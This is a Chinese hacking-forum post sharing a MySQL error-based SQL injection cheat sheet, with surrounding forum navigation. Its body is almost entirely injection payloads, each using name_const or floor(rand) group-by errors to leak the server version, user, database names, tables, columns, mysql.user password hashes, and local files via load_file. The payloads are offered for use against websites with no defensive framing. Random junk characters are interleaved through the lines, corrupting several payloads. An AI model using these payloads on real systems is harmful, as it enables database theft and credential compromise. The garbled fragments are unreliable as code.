找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2241|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 3 J6 y+ o% v: {5 D
" G. l# g2 L' k/ J4 A

" U' v5 l" g$ b& {Mysql暴错注入参考(pdf),每天一贴。。。0 ^# k3 [# s3 `' A0 [  s
  _; J# m* \8 @' m& B5 G: N" s
MySql Error Based Injection Reference
5 W4 z0 a, j5 a3 L& ?1 Y. T[Mysql暴错注入参考]4 j) q3 c  u. X5 `1 x7 g
Authornig0s1992# r! [' U7 z( L  @% G8 B
Blog:http://pnig0s1992.blog.51cto.com/. ^, B0 e$ C9 s0 e+ V4 \
TeAm:http://www.FreeBuf.com/
: U0 N$ _8 I. e! x1 rMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功+ C- f+ K/ l  f0 q0 e; R0 ]1 V
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
/ O1 d) a) c& x' k" Y查询版本:
" c) g4 q/ ~7 v$ nMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
6 T, A% V  e+ i* J7 G# j  _join+(select+name_const(@@version,0))b)c), l0 C( U$ Y( G
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
6 T+ Z% o& T7 g' R4 Oup by a)b)
& b' d, {# n; _; e: `7 _3 m查询当前用户:
5 Z9 u' B: ^( q+ u: C" L2 g+ iMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)- R9 ~/ I% r' v4 ?& g% x
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
5 ?6 b1 I' r* }+ o2 qand(0)*2))x+from+information_schema.tables+group+by+x)a)
7 L7 o5 Q# o4 ?9 s7 j查询当前数据库:. p! j3 P% G1 N! B# K
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)" S# z! o( z. F1 m7 A! x2 T7 |
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
' S8 k0 B' ~5 {6 @" I* T, [, z- Gor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
8 X( ]- j7 I6 O# \依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+# z' _8 O% H; m
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n+ P" C  \7 Y" S% k6 X% X9 C( p
顺序替换2 x" @' c7 o0 f8 _. M3 R5 m8 ]
爆指定库数目:- q) B8 |, Q5 D" P9 B) Q# b( \
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
+ L% g. U# w+ O6 `$ Uable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
  M: b: k: y' D+by+x)a)+and+1=1 0x6D7973716C=mysql
8 J- J6 c8 h5 }5 ?- P& V依次爆表:; h9 o1 B- G8 K/ U
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t! X7 Q( p. |2 _) }
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta0 l/ z1 u& @1 ~) ~1 C! z
bles+group+by+x)a)+and+1=1! I, n! p& W+ J/ B$ _! C
0x6D7973716C=Mysql 将n顺序替换
9 u; @6 w8 ]2 B5 i$ ^6 S. n! n爆表内字段数目:$ Y) B, V6 f+ N; ]
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE; d' [  G3 u  z
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
8 j/ l+ |, [: A' b9 F" j0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1; a! X  I6 @+ D2 W/ K5 N' R  J
依次爆字段:
2 h7 ]/ G) q. N( Q1 Fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
4 @! G7 S5 d: C+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
# h/ d8 @- ^/ Oloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换' a/ u8 r8 p2 ^8 p
依次暴内容:
& Y9 T9 V5 h1 ], a7 Tand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche& @8 R* m# K/ K1 g
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1" J9 L) U+ |" C0 C! `: Y9 W+ T9 T$ r5 F
将n顺序替换
7 _4 c) ?4 e' u3 W1 l6 u' G爆文件内容:. k3 r- A$ D7 D& H% i) O, n# B
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
) }; Y. ]- C& Y( E& gfrom+information_schema.tables+group+by+a)b)
' U# r. \: O7 f  L8 u  z0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节7 M/ E3 A4 {9 \; P6 d
Thx for reading.
& g/ D& \5 U$ K5 z0 N: y& s
1 g) E! a9 X* ^3 {0 r7 I7 i不要下载也可以,
" ?" ^+ c- _" ~* o2 q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表